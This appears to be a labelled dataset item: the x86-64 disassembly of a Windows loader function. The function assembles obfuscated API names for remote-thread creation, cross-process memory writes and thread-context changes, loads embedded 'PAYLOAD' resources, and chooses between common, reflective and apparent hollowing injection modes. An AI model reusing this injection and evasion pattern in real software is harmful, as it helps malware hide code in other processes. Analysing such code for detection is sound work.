Function at 0x140001870
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push r14
lea rbp, [rsp - 0x288]
sub rsp, 0x388
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rbp + 0x270], rax
mov esi, ecx
mov r14, rdx
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, 0x104
lea rdx, [rbp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, 0x104
jne 0x1400018ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140001f4a
lea rcx, [rbp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
je 0x140001f4a
lea r8, [0x14001ae80]
lea rdx, [rbp + 0x60]
lea rcx, [0x14001f020]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
je 0x140001f4a
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80000000
lea rcx, [0x14001f020]
mov edx, 0x2000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x14001dc08], rax
cmp rax, 0xffffffffffffffff
je 0x140001f4a
mov qword [rsp + 0x3c0], rdi
cmp esi, 1
jle 0x140001953
mov rax, qword [r14 + 8]
jmp 0x14000195a
lea rax, [0x14001aedc]
mov r9, qword [r14]
lea rdx, [0x14001aee0]
mov r8d, esi
mov qword [rsp + 0x380], r15
lea rcx, [0x14001f260]
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x140001a7f
lea r9, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
lea r8, [0x140001830]
mov rcx, rax
lea rdx, str.PAYLOAD
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
test eax, eax
jne 0x1400019d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3b02
jne 0x140001a7f
mov rax, qword [rsp + 0x40]
lea r9, [rsp + 0x40]
lea r8, [0x140001830]
mov qword [0x14001f008], rax
lea rdx, str.PAYLOADEX
mov qword [rsp + 0x40], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
test eax, eax
jne 0x140001a15
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3b02
jne 0x140001a7f
cmp qword [0x14001f008], rbx
mov rax, qword [rsp + 0x40]
mov qword [0x14001f010], rax
je 0x140001a7f
test rax, rax
je 0x140001a7f
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.140003260
lea rcx, [0x14001add0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140001ad4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_module__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov r8d, ebx
lea rdx, str.Exiting_with_code:_d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rcx, qword [0x14001dc08]
mov r15, qword [rsp + 0x380]
mov rdi, qword [rsp + 0x3c0]
cmp rcx, 0xffffffffffffffff
je 0x140001acd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x140001f50
lea rax, str.Thread
lea r9, str.emote
mov qword [rsp + 0x20], rax
lea r8, str.CreateR
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001b48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov qword [0x14001f5b0], rbx
jmp 0x140001a87
mov qword [0x14001f5b0], rax
lea r9, str.alAlloc
lea rax, [0x14001af98]
lea r8, str.Virtu
mov qword [rsp + 0x20], rax
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001bc3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov qword [0x14001f5b8], rbx
jmp 0x140001a87
lea r9, str.alFree
mov qword [0x14001f5b8], rax
lea r8, str.Virtu
lea rdx, [0x14001afb8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001c32
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov qword [0x14001f590], rbx
jmp 0x140001a87
lea r15, str.mory
mov qword [0x14001f590], rax
lea r9, str.ProcessMe
mov qword [rsp + 0x20], r15
lea r8, str.Write
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001cad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov qword [0x14001f5a8], rbx
jmp 0x140001a87
lea r9, str.dProcessMe
mov qword [0x14001f5a8], rax
lea r8, [0x14001afec]
mov qword [rsp + 0x20], r15
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001d18
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rax, rbx
cmp qword [0x14001f5a8], rbx
mov qword [0x14001f5a0], rax
je 0x140001a87
lea r15, str.text
lea r9, str.readCon
mov qword [rsp + 0x20], r15
lea r8, str.SetTh
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001d97
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rax, rbx
cmp qword [0x14001f5a8], rbx
mov qword [0x14001f580], rax
je 0x140001a87
lea r9, str.readCon
mov qword [rsp + 0x20], r15
lea r8, str.GetTh
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001e18
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov qword [0x14001f588], rbx
jmp 0x140001a87
mov qword [0x14001f588], rax
lea r9, str.umeTh
lea rax, [0x14001b010]
lea r8, [0x14001b020]
mov qword [rsp + 0x20], rax
lea rdx, [0x14001af90]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001e8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Cannot_get_ra__d
lea rcx, [0x14001f260]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rax, rbx
cmp qword [0x14001f5a8], rbx
mov qword [0x14001f598], rax
je 0x140001a87
lea rcx, [0x14001f260]
cmp esi, 2
jne 0x140001ed2
lea rdx, str.Running_common
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rdx, r14
mov ecx, esi
call section..text
jmp 0x140001a85
cmp esi, 3
jne 0x140001eff
lea rdx, str.Running_reflective
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rdx, r14
mov ecx, esi
call fcn.140001f70
jmp 0x140001a85
cmp esi, 4
jne 0x140001f2c
lea rdx, str.Running_hlw
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
mov rdx, r14
mov ecx, esi
call fcn.140001320
jmp 0x140001a85
lea rdx, str.Invalid_number_of_arguments
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x14001f260]
call fcn.140001710
jmp 0x140001a87
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.1400022d0
add rsp, 0x388
pop r14
pop rsi
pop rbx
pop rbp
ret